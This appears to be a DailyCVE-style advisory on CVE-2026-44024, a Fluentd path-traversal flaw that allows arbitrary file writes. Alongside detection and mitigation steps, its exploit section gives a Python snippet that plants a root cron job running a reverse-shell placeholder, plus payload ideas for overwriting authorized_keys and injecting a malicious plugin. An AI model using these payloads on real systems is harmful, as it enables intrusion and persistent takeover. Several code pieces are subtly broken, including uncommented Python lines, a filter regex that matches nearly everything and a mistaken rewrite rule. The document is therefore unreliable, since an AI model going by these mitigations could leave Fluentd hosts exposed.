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How CVE-2026-44024 Works
Fluentd allows dynamically constructing file paths using the `${tag}` placeholder. It was discovered that validation for this placeholder was insufficient. If a Fluentd instance is configured to receive logs from untrusted sources and uses the `${tag}` placeholder in file configurations (such as the `path` parameter in the `out_file` plugin), an attacker can inject path traversal characters (e.g., ../).
When combined with certain formatting options, this vulnerability allows an attacker to write arbitrary files or overwrite existing files on the system with attacker-controlled content, bypassing intended directory restrictions. The root cause is the improper sanitization of tag values when they are used to construct file paths. The `${tag}` placeholder is expanded to the actual tag string of the incoming log event, and without proper validation, an attacker can craft a tag containing directory traversal sequences.
For example, if the output plugin is configured with path /var/log/${tag}.log, an attacker sending a log with tag `../../etc/passwd` would cause Fluentd to write to /var/log/../../etc/passwd.log, effectively placing the file outside the intended directory. This bypasses the intended directory restrictions and allows the attacker to write files to arbitrary locations on the filesystem.
This vulnerability allows for Arbitrary File Write, which can be directly escalated to full Remote Code Execution (RCE). An attacker could achieve RCE by overwriting critical system files, injecting executable plugins, or modifying configuration files. The impact is Critical as it can lead to full system compromise without any authentication, depending on the Fluentd configuration and the privileges of the Fluentd process. The vulnerability is fixed in version v1.19.3.
DailyCVE Form
| Field | Value |
|-|-|
| Platform | Fluentd |
| Version | ≤ v1.19.2 |
| Vulnerability | Arbitrary File Write |
| Severity | Critical (CVSS 9.8) |
| Date | 2026-06-26 |
| Prediction | 2026-06-26 (Patched) |
What Undercode Say: Analytics
Check Fluentd version
fluentd --version
Check if vulnerable configuration exists
grep -r '${tag}' /etc/fluentd/ /etc/td-agent/
Check if out_file plugin uses ${tag} in path
grep -A5 '@type out_file' /etc/fluentd/.conf | grep 'path.${tag}'
Vulnerable Configuration Example:
<match pattern>
@type file
path /var/log/${tag}.log
<buffer>
@type file
path /var/log/buffer
</buffer>
</match>
Attack Vector Analytics:
- Input Ports: `in_forward` on default port 24224
- Attack Vector: Network-accessible (unauthenticated)
- Privilege Required: None
- User Interaction: None
- Exploit Complexity: Low
How Exploit:
Crafted Tag Injection:
Send log with path traversal in tag
echo '{"message":"test"}' | fluent-cat vulnerable.tag.with../etc/passwd
Python Exploit Snippet:
import socket
import msgpack
Fluentd forward protocol on port 24224
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('target_host', 24224))
Craft tag with path traversal
tag = "../../etc/cron.d/malicious"
data = {"message": " root /bin/bash -c 'reverse_shell'"}
packed = msgpack.packb([tag, int(time.time()), data])
sock.send(packed)
sock.close()
Overwrite SSH Authorized Keys:
- Tag: `../../root/.ssh/authorized_keys`
– Content: Attacker’s public key
Inject Executable Plugin:
- Tag: `../../etc/fluentd/plugin/exploit.rb`
– Content: Malicious Ruby code executed by Fluentd
Protection from this CVE
1. Upgrade to Patched Version (Recommended)
Upgrade to v1.19.3 or later gem install fluentd -v 1.19.3 Or via package manager apt-get update && apt-get install td-agent=4.5.0
2. Restrict Network Access
Block access to port 24224 from untrusted networks iptables -A INPUT -p tcp --dport 24224 -s 192.168.0.0/16 -j ACCEPT iptables -A INPUT -p tcp --dport 24224 -j DROP
3. Run Fluentd as Non-Root User
Create dedicated user useradd -r -s /bin/false fluentd Run Fluentd as this user fluentd -c /etc/fluentd/fluent.conf --user fluentd
4. Revise Configurations
<!-- Avoid using ${tag} in path from untrusted sources -->
<match pattern>
@type file
path /var/log/static_path.log <!-- Use static path instead -->
</match>
5. Filter Incoming Tags
<source> @type forward port 24224 <filter> @type grep <exclude> key tag pattern /..|./ </exclude> </filter> </source>
6. Use fluent-plugin-rewrite-tag-filter
<filter >
@type rewrite_tag_filter
<rule>
key tag
pattern /[\/.]/
tag invalid.${tag}
</rule>
</filter>
Impact
| Impact Area | Description |
|-|-|
| Confidentiality | Full system compromise, exposure of sensitive data |
| Integrity | Arbitrary file overwrite, configuration modification |
| Availability | System disruption, denial of service |
| Scope | Unauthenticated remote attacker |
| CVSS v3 Score | 9.8/10 (Critical) |
| Attack Vector | Network |
| Privileges Required | None |
| User Interaction | None |
| Exploit Maturity | Proof-of-concept available |
Real-World Scenarios:
- Overwrite `/etc/passwd` or `/etc/shadow` for privilege escalation
- Inject malicious plugins in `/etc/fluentd/plugin/` for RCE
- Modify Fluentd configuration files to redirect logs or execute commands
- Overwrite SSH authorized_keys for persistent access
- Inject cron jobs via `/etc/cron.d/` for scheduled execution
- Overwrite system binaries or libraries for complete system takeover
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Sources:
Reported By: github.com
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